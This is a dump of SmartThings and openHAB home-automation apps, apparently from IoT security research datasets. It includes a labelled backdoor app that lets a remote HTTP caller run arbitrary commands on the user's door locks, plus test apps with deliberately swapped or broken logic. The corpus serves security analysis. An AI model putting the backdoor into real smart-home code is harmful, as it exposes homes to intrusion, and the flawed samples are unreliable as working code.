| changeMode(onMode) 37 | } else { 38 | changeMode(offMode) 39 | } 40 | } 41 | 42 | def changeYourMode(newMode) { 43 | 44 | if (newMode && location.mode != newMode) { 45 | if (location.modes?.find{it.name == newMode}) { 46 | setLocationMode(newMode) 47 | } 48 | else { 49 | log.debug "Error in mode ${newMode}'" 50 | } 51 | } 52 | } 53 | 54 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ToggleButton.txt.groovy: -------------------------------------------------------------------------------- 1 | preferences { 2 | section("When I push a button on this remote") { 3 | input "button", "capability.button", title: "Button" 4 | } 5 | section("Which button:") { 6 | input "whichButton", "number", defaultValue:1 7 | } 8 | section("Toggle these switches") { 9 | input "switches", "capability.switch", multiple: true, required: false 10 | } 11 | section("Turn off these switches") { 12 | input "offSwitches", "capability.switch", multiple: true, required: false 13 | } 14 | section("Turn on these switches") { 15 | input "onSwitches", "capability.switch", multiple: true, required: false 16 | } 17 | } 18 | 19 | def subscribeToEvents() 20 | { 21 | subscribe(button, "button.pushed", pushHandler) 22 | } 23 | 24 | def installed() 25 | { 26 | subscribeToEvents() 27 | } 28 | 29 | def updated() 30 | { 31 | unsubscribe() 32 | subscribeToEvents() 33 | } 34 | 35 | def pushHandler(evt) { 36 | if (evt.data.contains(whichButton.toString())) { 37 | 38 | // log.debug evt.value 39 | onSwitches?.on() 40 | offSwitches?.off() 41 | switches.collect{ d -> 42 | log.debug "${d.displayName} is ${d.currentSwitch}" 43 | if(d.currentSwitch == "on") d.off() 44 | else d.on() 45 | } 46 | } 47 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Buttontoturnlightsonoroff.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Button 3 | * 4 | * Author: danielbarak@live.com 5 | * Date: 2013-12-10 6 | */ 7 | preferences { 8 | section("Pick a Button...") { 9 | input "button", "device.AeonKeyFob" 10 | } 11 | section("Push turns on..."){ 12 | input "switchOn", "capability.switch", title: "Lights", required: true, multiple: true 13 | } 14 | 15 | section("Hold turns off..."){ 16 | input "switchOff", "capability.switch", title: "Lights", required: true, multiple: true 17 | } 18 | } 19 | def installed() { 20 | log.debug "Installed with settings: ${settings}" 21 | subscribe(button, "button.pushed",allOn) 22 | subscribe(button, "button.held",allOff) 23 | 24 | } 25 | 26 | def updated() { 27 | log.debug "Updated with settings: ${settings}" 28 | unsubscribe() 29 | subscribe(button, "button.pushed",allOn) 30 | subscribe(button, "button.held",allOff) 31 | 32 | } 33 | 34 | def allOn(evt) { 35 | log.debug "Turning All On" 36 | if(switchOn.currentSwitch == "on") 37 | { 38 | switchOn.off() 39 | } 40 | else 41 | { 42 | switchOn.on() 43 | } 44 | 45 | } 46 | def allOff(evt) { 47 | log.debug "Turning All Off" 48 | 49 | switchOff.off() 50 | } 51 | 52 | // TODO: implement event handlers -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TheGunCaseMoved.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * The Gun Case Moved 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When the gun case moves..."){ 8 | input "accelerationSensor", "capability.accelerationSensor", title: "Where?" 9 | } 10 | section("Text me at..."){ 11 | input "phone1", "phone", title: "Phone number?" 12 | } 13 | } 14 | 15 | def installed() { 16 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 17 | } 18 | 19 | def updated() { 20 | unsubscribe() 21 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 22 | } 23 | 24 | def accelerationActiveHandler(evt) { 25 | // Don't send a continuous stream of text messages 26 | def deltaSeconds = 5 27 | def timeAgo = new Date(now() - (1000 * deltaSeconds)) 28 | def recentEvents = accelerationSensor.eventsSince(timeAgo) 29 | log.trace "Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds" 30 | def alreadySentSms = recentEvents.count { it.value && it.value == "active" } > 1 31 | 32 | if (alreadySentSms) { 33 | log.debug "SMS already sent to $phone1 within the last $deltaSeconds seconds" 34 | } else { 35 | log.debug "$accelerationSensor has moved, texting $phone1" 36 | sendSms(phone1, "Gun case has moved!") 37 | } 38 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/TemperatureChangeSpecified.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Temperature Change Specified 3 | * 4 | * Author: dbrockjr 5 | */ 6 | preferences { 7 | section("Select a temperature sensor"){ 8 | input "sensor", "capability.temperatureMeasurement", title: "Sensor" 9 | } 10 | section("Set the LOW temperature"){ 11 | input "setLow", "decimal", title: "Low Temp" 12 | } 13 | section("Set the HIGH temperature"){ 14 | input "setHigh", "decimal", title: "High Temp" 15 | } 16 | section("Text me at (optional)") { 17 | input "phone", "phone", title: "Phone number?", required: false 18 | } 19 | } 20 | 21 | def installed(){ 22 | go() 23 | } 24 | 25 | def updated(){ 26 | unsubscribe() 27 | go() 28 | } 29 | 30 | def go(){ 31 | if(sensor && setHigh && setLow){ 32 | subscribe(sensor, "temperature", temperatureHandler) 33 | } 34 | } 35 | 36 | def temperatureHandler(evt) { 37 | if(setLow > setHigh){ 38 | def temp = setLow 39 | setLow = setHigh 40 | setHigh = temp 41 | } 42 | def currentTemp = evt.doubleValue 43 | def msg = "ALERT: $sensor.label has detected a temp of $currentTemp" 44 | if (currentTemp < setLow || currentTemp > setHigh) { 45 | sendPush(msg) 46 | if(phone){ 47 | sendSms(phone, msg) 48 | } 49 | } 50 | } 51 | 52 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ModeChangeUpdateNestStatus.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Presence Change Device Presence 3 | * 4 | * Author: coolkev 5 | * 6 | * Make sure your nest devices are using this deviceType: https://github.com/smartthings-users/device-type.nest 7 | */ 8 | definition( 9 | name: "Mode Change Update Nest Status", 10 | namespace: "coolkev", 11 | author: "coolkev", 12 | description: "Keep your Nest set to home/away automatically on mode changes", 13 | category: "Convenience", 14 | iconUrl: "http://cdn.device-icons.smartthings.com/Electronics/electronics1-icn.png", 15 | iconX2Url: "http://cdn.device-icons.smartthings.com/Electronics/electronics1-icn@2x.png" 16 | ) 17 | 18 | preferences { 19 | section("Select Nest Devices...") { 20 | input "nestDevices", "device.nest", title: "Which Nest Devices?", multiple: true, required: true 21 | 22 | } 23 | } 24 | 25 | def installed() { 26 | subscribe(location, "mode", modeChangeHandler) 27 | } 28 | 29 | def updated() { 30 | unsubscribe() 31 | subscribe(location, "mode", modeChangeHandler) 32 | } 33 | 34 | def modeChangeHandler(evt) { 35 | log.debug("modeChangeHandler: ${evt.value}") 36 | 37 | if (evt.value == "Away") { 38 | nestDevices.away() 39 | } else if (evt.value == "Home") { 40 | nestDevices.present() 41 | } 42 | } -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartThings-Soteria-third-party/TP3.2.groovy: -------------------------------------------------------------------------------- 1 | /* 2 | * ModeChanger 3 | * used by users for various purposes. 4 | */ 5 | preferences { 6 | page(name: "getPref", title: "Choose Switch and Modes", install:true, uninstall: true) { 7 | section("Choose a switch to use...") { 8 | input "switch", "capability.switch", title: "Switch", multiple: false, required: true 9 | } 10 | section("Change to a new mode when...") { 11 | input "onMode", "mode", title: "Switch is on", required: false 12 | input "offMode", "mode", title: "Switch is off", required: false 13 | } 14 | } 15 | } 16 | 17 | def installed() { 18 | log.debug "Installed settings: ${settings}" 19 | 20 | subscribe(controlSwitch, "switch", "switchHandler") 21 | } 22 | 23 | def updated() { 24 | log.debug "Updated settings: ${settings}" 25 | 26 | unsubscribe() 27 | 28 | subscribe(controlSwitch, "switch", "switchHandler") 29 | } 30 | 31 | 32 | def switchHandler(evt) { 33 | if (evt.value == "on") { 34 | changeMode(offMode) 35 | } else { 36 | changeMode(onMode) 37 | } 38 | } 39 | 40 | 41 | 42 | def changeYourMode(newMode) { 43 | 44 | if (newMode && location.mode != newMode) { 45 | if (location.modes?.find{it.name == newMode}) { 46 | setLocationMode(newMode) 47 | } 48 | else { 49 | log.debug "Error in mode ${newMode}'" 50 | } 51 | } 52 | } 53 | 54 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ItMoved.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * It Moved 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When movement is detected...") { 8 | input "accelerationSensor", "capability.accelerationSensor", title: "Where?" 9 | } 10 | section("Text me at...") { 11 | input "phone1", "phone", title: "Phone number?" 12 | } 13 | } 14 | 15 | def installed() { 16 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 17 | } 18 | 19 | def updated() { 20 | unsubscribe() 21 | subscribe(accelerationSensor, "acceleration.active", accelerationActiveHandler) 22 | } 23 | 24 | def accelerationActiveHandler(evt) { 25 | // Don't send a continuous stream of text messages 26 | def deltaSeconds = 5 27 | def timeAgo = new Date(now() - (1000 * deltaSeconds)) 28 | def recentEvents = accelerationSensor.eventsSince(timeAgo) 29 | log.trace "Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds" 30 | def alreadySentSms = recentEvents.count { it.value && it.value == "active" } > 1 31 | 32 | if (alreadySentSms) { 33 | log.debug "SMS already sent to $phone1 within the last $deltaSeconds seconds" 34 | } else { 35 | log.debug "$accelerationSensor has moved, texting $phone1" 36 | sendSms(phone1, "${accelerationSensor.label ?: accelerationSensor.name} moved") 37 | } 38 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Turnmeonquick.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Turn me on quick 3 | * 4 | * Author: chrisb 5 | * Heavily based on Power Allowance by SmartThings 6 | * Date: 2013-12-15 7 | * 8 | * Created for a user who had a Genie 1000 that require the relay to be ON for his wired control panel to work properly. 9 | * Turning off the relay triggers a turn on a given number of seconds later. 10 | */ 11 | 12 | preferences { 13 | section("When a switch turns off...") { 14 | input "theSwitch", "capability.switch" 15 | } 16 | section("Turn it on how many SECONDS later?") { 17 | input "secondsLater", "number", title: "When?" 18 | } 19 | } 20 | 21 | def installed() { 22 | log.debug "Installed with settings: ${settings}" 23 | subscribe(theSwitch, "switch.off", switchOffHandler, [filterEvents: false]) 24 | } 25 | 26 | def updated() { 27 | log.debug "Updated with settings: ${settings}" 28 | 29 | unsubscribe() 30 | subscribe(theSwitch, "switch.off", switchOffHandler, [filterEvents: false]) 31 | } 32 | 33 | def switchOffHandler(evt) { 34 | log.debug "Switch ${theSwitch} turned: ${evt.value}" 35 | def delay = secondsLater * 1000 /* Because delay is counted in mill-seconds, multiple seconds by 1000 to get the proper delay. */ 36 | log.debug "Turning on in ${secondsLater} minutes (${delay}ms)" 37 | theSwitch.on(delay: delay) 38 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/IRReceiver.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * IR Receiver 3 | * 4 | * Author: danny@smartthings.com 5 | * Date: 2013-03-31 6 | */ 7 | 8 | preferences { 9 | section("Pick an IR device...") { 10 | input "id", "device.IrBlaster", title: "Which?" 11 | } 12 | section("Button A turns on or off..."){ 13 | input "switch1", "capability.switch", title: "This light", required: false 14 | } 15 | section("Button B turns on or off..."){ 16 | input "switch2", "capability.switch", title: "This light", required: false 17 | } 18 | } 19 | 20 | def installed() { 21 | log.debug "Installed with settings: ${settings}" 22 | subscribe(id, "button.B", handleB) 23 | subscribe(id, "button.A",handleA) 24 | } 25 | 26 | def updated() { 27 | log.debug "Updated with settings: ${settings}" 28 | unsubscribe() 29 | subscribe(id, "button.B", handleB) 30 | subscribe(id, "button.A",handleA) 31 | } 32 | 33 | def handleA(evt) { 34 | log.debug "received button A" 35 | if (switch1.currentValue("switch") == "on") { 36 | switch1.off() 37 | } 38 | else { 39 | switch1.on() 40 | } 41 | } 42 | 43 | def handleB(evt) { 44 | log.debug "received button B" 45 | if (switch2.currentValue("switch") == "on") { 46 | switch2.off() 47 | } 48 | else { 49 | switch2.on() 50 | } 51 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SwitchTimer.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Modifying to turn a switch off after a predetermined period. 3 | * 4 | * Turn It On For 5 Minutes 5 | * Turn on a switch when a contact sensor opens and then turn it back off 5 minutes later. 6 | * 7 | * Author: Michael Taylor 8 | */ 9 | definition( 10 | name: "Switch Timer", 11 | author: "Michael Taylor", 12 | category: "My Apps", 13 | description: "Set a switch to turn off after a predetermined time.", 14 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet.png", 15 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet@2x.png" 16 | ) 17 | 18 | preferences { 19 | section("Turn on a switch..."){ 20 | input "switch1", "capability.switch" 21 | } 22 | section("For some minutes..."){ 23 | input "minutes1", "decimal" 24 | } 25 | } 26 | 27 | def installed() { 28 | log.debug "Installed with settings: ${settings}" 29 | subscribe(app, appTouch) 30 | } 31 | 32 | def updated(settings) { 33 | log.debug "Updated with settings: ${settings}" 34 | unsubscribe() 35 | subscribe(app, appTouch) 36 | } 37 | 38 | def appTouch(evt) { 39 | switch1.on() 40 | def timerDelay = 60 * minutes1 41 | unschedule(turnOffSwitch) 42 | runIn(timerDelay, turnOffSwitch) 43 | } 44 | 45 | def turnOffSwitch() { 46 | switch1.off() 47 | } -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartThings-Soteria-third-party/TP4.2.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * No Water 3 | * Author: Alex 4 | */ 5 | preferences { 6 | section(“When there’s no water detected…”) { 7 | input “alarm”, “capability.waterSensor”, title: “Where?” 8 | input “switches”, “capability.switch, title: “Select switch” 9 | } 10 | section( “Notifications” ) { 11 | input “sendPushMessage”, “enum”, title: “Send a push notification?”, metadata:[values:[“Yes”,“No”]], required:false 12 | input “phone”, “phone”, title: “Send a Text Message?”, required: false} 13 | } 14 | 15 | def installed() { 16 | subscribe(alarm, “water.dry”, waterWetHandler) 17 | } 18 | 19 | def updated() { 20 | unsubscribe() 21 | subscribe(alarm, “water.dry”, waterWetHandler) 22 | } 23 | 24 | def waterWetHandler(evt) { 25 | def deltaSeconds = 30 26 | def timeAgo = new Date(now() - (1000 * deltaSeconds)) 27 | def recentEvents = alarm.eventsSince(timeAgo) 28 | log.debug “Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds” 29 | def alreadySentSms = recentEvents.count { it.value && it.value == “wet” } > 1 30 | switches.on() 31 | if (alreadySentSms) { 32 | log.debug “SMS already sent to $phone within the last $deltaSeconds seconds” 33 | } else { 34 | def msg = "${alarm.displayName} has no water!" 35 | log.debug "$alarm is dry, texting $phone" 36 | sendPush(msg) 37 | if (phone) { 38 | sendSms(phone, msg) 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/NoWaterAlarm.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * No Water 3 | * 4 | * Author: Alex 5 | */ 6 | preferences { 7 | section("When there's no water detected...") { 8 | input "alarm", "capability.waterSensor", title: "Where?" 9 | } 10 | section( "Notifications" ) { 11 | input "sendPushMessage", "enum", title: "Send a push notification?", metadata:[values:["Yes","No"]], required:false 12 | input "phone", "phone", title: "Send a Text Message?", required: false 13 | } 14 | } 15 | 16 | def installed() { 17 | subscribe(alarm, "water.dry", waterWetHandler) 18 | } 19 | 20 | def updated() { 21 | unsubscribe() 22 | subscribe(alarm, "water.dry", waterWetHandler) 23 | } 24 | 25 | def waterWetHandler(evt) { 26 | def deltaSeconds = 30 27 | 28 | def timeAgo = new Date(now() - (1000 * deltaSeconds)) 29 | def recentEvents = alarm.eventsSince(timeAgo) 30 | log.debug "Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds" 31 | 32 | def alreadySentSms = recentEvents.count { it.value && it.value == "wet" } > 1 33 | 34 | if (alreadySentSms) { 35 | log.debug "SMS already sent to $phone within the last $deltaSeconds seconds" 36 | } else { 37 | def msg = "${alarm.displayName} has no water!" 38 | log.debug "$alarm is dry, texting $phone" 39 | sendPush(msg) 40 | if (phone) { 41 | sendSms(phone, msg) 42 | } 43 | } 44 | } 45 | 46 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LightupwhenImgone.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light up when I'm gone 3 | * 4 | * Author: smartthings@malix.com 5 | * Date: 2013-07-18 6 | */ 7 | preferences { 8 | 9 | section("When a presence sensor arrives/departs this location...") { 10 | input "presence", "capability.presenceSensor", title: "Which sensor?" 11 | } 12 | 13 | section("Turn this switch off on arrival and on on departure...") { 14 | input "switch1", "capability.switch" 15 | } 16 | } 17 | 18 | def installed() { 19 | log.debug "Installed with settings: ${settings}" 20 | 21 | initialize() 22 | } 23 | 24 | def updated() { 25 | log.debug "Updated with settings: ${settings}" 26 | 27 | unsubscribe() 28 | initialize() 29 | } 30 | 31 | def initialize() { 32 | subscribe(presence, "presence", presenceHandler) 33 | } 34 | 35 | def presenceHandler(evt) { 36 | if (evt.value == "present") { 37 | log.debug "${presence.label ?: presence.name} has arrived at ${location}, turning switch off" 38 | sendPush("${presence.label ?: presence.name} has arrived at ${location}, turning switch off") 39 | switch1.off() 40 | } else if (evt.value == "not present") { 41 | log.debug "${presence.label ?: presence.name} has left ${location}, turning switch on" 42 | sendPush("${presence.label ?: presence.name} has left ${location}, turning switch on") 43 | switch1.on() 44 | } 45 | } -------------------------------------------------------------------------------- /smartThings/smartThings-ProvThings/ProvThings-attacks/PinCodeInjection.groovy: -------------------------------------------------------------------------------- 1 | definition( 2 | name: "Attack1: PinCodeInjection", 3 | namespace: "uiuc", 4 | author: "Qi Wang", 5 | description: "Backdoor pin code injection.", 6 | category: "Safety & Security", 7 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 8 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 9 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 10 | 11 | preferences { 12 | section("Your device") { 13 | input "devices", "capability.lock", title: "lock", mutiple:true 14 | } 15 | } 16 | 17 | def installed() { 18 | log.debug "Installed with settings: ${settings}" 19 | } 20 | 21 | def updated() { 22 | log.debug "Updated with settings: ${settings}" 23 | unsubscribe() 24 | } 25 | 26 | mappings { 27 | path("/devices/:command/:argument") { 28 | action: [ 29 | PUT: "updateDevice" 30 | ] 31 | } 32 | } 33 | 34 | def updateDevice() { 35 | log.debug "updateDevice, params: ${params}" 36 | def command = params.command 37 | def argument = params.argument 38 | 39 | if (!command) { 40 | httpError(400, "command is required") 41 | } else { 42 | if (devices) { 43 | if (argument) { 44 | devices."$command"(argument) 45 | } else { 46 | devices."$command"() 47 | } 48 | } else { 49 | httpError(404, "Device not found") 50 | } 51 | } 52 | } -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/manha.rules: -------------------------------------------------------------------------------- 1 | 2 | 3 | rule "Acende luzes de baixo ao acender a escada" 4 | when 5 | Item Luz_gSUP_Escada changed from OFF to ON 6 | then 7 | // if(SunElevation.state as DecimalType > 0) 8 | if (now.getHourOfDay <= 7) 9 | { 10 | Luz_gTER_SalaTV_Teto.sendCommand(ON) 11 | Luz_gTER_Jantar_Teto.sendCommand(ON) 12 | Luz_gTER_Cozinha_Teto.sendCommand(ON) 13 | Luz_gTER_Varanda_Teto.sendCommand(ON) 14 | } 15 | end 16 | 17 | 18 | rule "Apaga todas as luzes de baixo ao apagar a sala ou cozinha" 19 | when 20 | Item Luz_gTER_SalaTV_Teto changed from ON to OFF or 21 | Item Luz_gTER_Jantar_Teto changed from ON to OFF or 22 | Item Luz_gTER_Cozinha_Teto changed from ON to OFF 23 | then 24 | if (now.getHourOfDay >= 7 && now.getHourOfDay <= 9) 25 | { 26 | gTerreo.sendCommand(OFF) 27 | } 28 | end 29 | 30 | 31 | rule "Apaga a luz da churrasqueira as 7:00" 32 | when 33 | Time cron "0 0 7 1/1 * ? *" 34 | then 35 | Luz_gTER_Varanda_Teto.sendCommand(OFF) 36 | Luz_gSUP_Escada.sendCommand(OFF) 37 | end 38 | 39 | 40 | rule "Apaga todas as luzes do terreo as 7:30" 41 | when 42 | Time cron "0 30 7 1/1 * ? *" 43 | then 44 | gTerreo.sendCommand(OFF) 45 | end 46 | 47 | 48 | rule "Apaga todas as luzes da casa as 8:00 de 2a a 6a" 49 | when 50 | Time cron "0 0 8 ? * MON,TUE,WED,THU,FRI *" 51 | then 52 | gLuzes.sendCommand(OFF) 53 | end 54 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group2/ID16.1SleepingModeChange+.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * The app violates general properties when installed with other apps 3 | * Included in repo by Z. Berkay Celik 4 | * Email: zbc102@cse.psu.edu 5 | */ 6 | definition( 7 | name: "Soteria", 8 | namespace: "Soteria", 9 | author: "Soteria", 10 | description: "Set modes based on your light switch", 11 | category: "Convenience", 12 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_presence-outlet.png", 13 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_presence-outlet@2x.png" 14 | ) 15 | 16 | preferences { 17 | section("Mode Follows This Switch") { 18 | input "theSwitch", "capability.switch", title: "Choose Switch" 19 | } 20 | section("Modes"){ 21 | input "onMode", "enum", title: "Mode when On", options:["onMode", "offMode"], required: true 22 | input "offMode", "enum", title: "Mode when Off", options:["onMode", "offMode"], required: true 23 | } 24 | } 25 | 26 | def subscribeToEvents() 27 | { 28 | subscribe(theSwitch, "switch.on", onHandler) 29 | subscribe(theSwitch, "switch.off", offHandler) 30 | } 31 | 32 | def installed() 33 | { 34 | subscribeToEvents() 35 | } 36 | 37 | def updated() 38 | { 39 | unsubscribe() 40 | subscribeToEvents() 41 | } 42 | 43 | def onHandler(evt){ 44 | setLocationMode(onMode) 45 | } 46 | 47 | def offHandler(evt){ 48 | setLocationMode(offMode) 49 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SetthemoodLighting.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Set the Mood (Lighting) 3 | * 4 | * Author: Craig K. Lyons 5 | */ 6 | 7 | 8 | // Automatically generated. Make future change here. 9 | definition( 10 | name: "Set the mood (Lighting)", 11 | namespace: "", 12 | author: "craig.k.lyons@gmail.com", 13 | description: "This App allows you to select a dimmer and change the setting to a defined brightness when pressed.", 14 | category: "", 15 | iconUrl: "http://etc-mysitemyway.s3.amazonaws.com/icons/legacy-previews/icons-256/rounded-glossy-black-icons-business/086323-rounded-glossy-black-icon-business-light-bulb2-sc52.png", 16 | iconX2Url: "http://etc-mysitemyway.s3.amazonaws.com/icons/legacy-previews/icons-256/rounded-glossy-black-icons-business/086323-rounded-glossy-black-icon-business-light-bulb2-sc52.png", 17 | oauth: true 18 | ) 19 | 20 | preferences { 21 | section("Which light to set the mood on:") { 22 | input "switches", "capability.switchLevel" 23 | } 24 | section("What Level to set at..."){ 25 | input "lvl", "number" 26 | } 27 | } 28 | 29 | def installed() 30 | { 31 | subscribe(app) 32 | } 33 | 34 | def updated() 35 | { 36 | unsubscribe() 37 | subscribe(app) 38 | } 39 | 40 | 41 | def appTouch(evt) { 42 | log.info evt.value 43 | log.info "lvl: $lvl.value" 44 | switches.setLevel(lvl.value) 45 | 46 | 47 | } 48 | 49 | 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group3/ID21SimulateOcupancy.groovy: -------------------------------------------------------------------------------- 1 | /* 2 | * simulate-occupancy 3 | * Author: Z. Berkay Celik 4 | * The app is created by Z. Berkay Celik 5 | * Email: zbc102@cse.psu.edu 6 | */ 7 | 8 | definition( 9 | name: "simulate-occupancy", 10 | namespace: "soteria", 11 | author: "Soteria", 12 | description: "Turn on lights and turn them off after some time", 13 | category: "Convenience", 14 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 15 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png") 16 | 17 | preferences { 18 | section("When I touch the app, turn on...") { 19 | input "switches", "capability.switch", multiple: true 20 | } 21 | section("For how long between turn on and turn off?") { 22 | input "turnOffDelay", "decimal", defaultValue:30 23 | } 24 | } 25 | 26 | def installed() { 27 | subscribe(app, appTouch) 28 | } 29 | 30 | def updated() { 31 | subscribe(app, appTouch) 32 | } 33 | 34 | def appTouch(evt) { 35 | def mode = turnOnTherm 36 | switches.on() 37 | lightOffTrigger() 38 | } 39 | 40 | def lightOffTrigger() { 41 | log.info("Starting timer to turn off lights") 42 | def delay = (turnOffDelay != null && turnOffDelay != "") ? turnOffDelay * 60 : 60 43 | state.turnOffTime = now() 44 | runIn(delay, "lightTurnOff") 45 | } 46 | 47 | def lightTurnOff() { 48 | switches.off() 49 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LightLevelScheduler.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light Level Scheduler 3 | * 4 | * 5 | * Sets light levels at a scheduled time. 6 | * similar to the once a day app. 7 | */ 8 | 9 | preferences { 10 | section("Select dimmers to control...") { 11 | input name: "switches", type: "capability.switchLevel", multiple: true 12 | } 13 | section("Time and Levels...") { 14 | input name: "days", "enum", title: "What day(s)?", description: "Every day (default)", required: false, multiple: true, options: ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"] 15 | input name: "startTime", title: "Time?", type: "time" 16 | input name: "lightLevel", title: "Level 0-100", type: "number" 17 | } 18 | } 19 | 20 | def installed() { 21 | log.debug "Installed with settings: ${settings}" 22 | schedule(startTime, "scheduleCheck") 23 | } 24 | 25 | def updated(settings) { 26 | unschedule() 27 | schedule(startTime, "scheduleCheck") 28 | } 29 | 30 | def scheduleCheck() { 31 | defaultState() 32 | 33 | debug "Light Level Scheduler checking scheduling" 34 | 35 | def today = new Date().format("EEEE") 36 | 37 | debug "today: ${today}, days: ${days}" 38 | 39 | if (!days || days.contains(today)) 40 | { 41 | debug "Setting light levels" 42 | switches.setLevel(lightLevel) 43 | } 44 | else 45 | { 46 | debug "Light Level Scheduler skipped running today" 47 | } 48 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MedicineReminder.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Medicine Reminder 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | preferences { 8 | section("Choose your medicine cabinet..."){ 9 | input "cabinet1", "capability.contactSensor", title: "Where?" 10 | } 11 | section("Take my medicine at..."){ 12 | input "time1", "time", title: "When?" 13 | } 14 | section("Text me if I forget..."){ 15 | input "phone1", "phone", title: "Phone number?" 16 | } 17 | } 18 | 19 | 20 | 21 | def installed() 22 | { 23 | schedule(time1, "scheduleCheck") 24 | } 25 | 26 | def updated() 27 | { 28 | unsubscribe() //TODO no longer subscribe like we used to - clean this up after all apps updated 29 | unschedule() 30 | schedule(time1, "scheduleCheck") 31 | } 32 | 33 | def scheduleCheck() 34 | { 35 | log.trace "medicineCheck: $settings" 36 | 37 | def midnight = (new Date()).clearTime() 38 | def now = new Date() 39 | def cabinetEvents = cabinet1.eventsBetween(midnight, now) 40 | log.trace "Found ${cabinetEvents?.size() ?: 0} cabinet events since $midnight" 41 | def cabinetOpened = cabinetEvents.count { it.value && it.value == "open" } > 0 42 | 43 | if (cabinetOpened) { 44 | log.debug "Medicine cabinet was opened since $midnight, no SMS required" 45 | } else { 46 | log.debug "Medicine cabinet was not opened since $midnight, texting $phone1" 47 | sendSms(phone1, "Please remember to take your medicine") 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/OnceADayLightswDimmer.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Once A Day Lights w/ Dimmer 3 | * 4 | * Author: Ryan Nathanson 5 | * 6 | * Date: 06/03/2013 7 | */ 8 | preferences { 9 | 10 | section("On Time") { 11 | input "onTime", "time", title: "When?", required: false 12 | 13 | 14 | } 15 | 16 | section("Off Time") { 17 | input "offTime", "time", title: "When?", required: false 18 | } 19 | 20 | 21 | section("These Dimming light(s)"){ 22 | input "MultilevelSwitch", "capability.switchLevel", multiple: true, required: false 23 | } 24 | section("How Bright?"){ 25 | input "number", "number", title: "Percentage, 0-99", required: false 26 | } 27 | 28 | section("These Non Dimming light(s)"){ 29 | input "switches1", "capability.switch", multiple: true, required: false 30 | } 31 | 32 | } 33 | 34 | def installed() { 35 | log.debug "Installed with settings: ${settings}" 36 | schedule(onTime, turnlighton) 37 | schedule(offTime, turnlightoff) 38 | 39 | } 40 | 41 | def updated(settings) { 42 | unschedule() 43 | schedule(onTime, turnlighton) 44 | schedule(offTime, turnlightoff) 45 | 46 | } 47 | 48 | def turnlighton() { 49 | log.debug "Turning on switches" 50 | settings.MultilevelSwitch?.setLevel(number) 51 | switches1?.on() 52 | 53 | } 54 | 55 | def turnlightoff() { 56 | log.debug "Turning off switches" 57 | 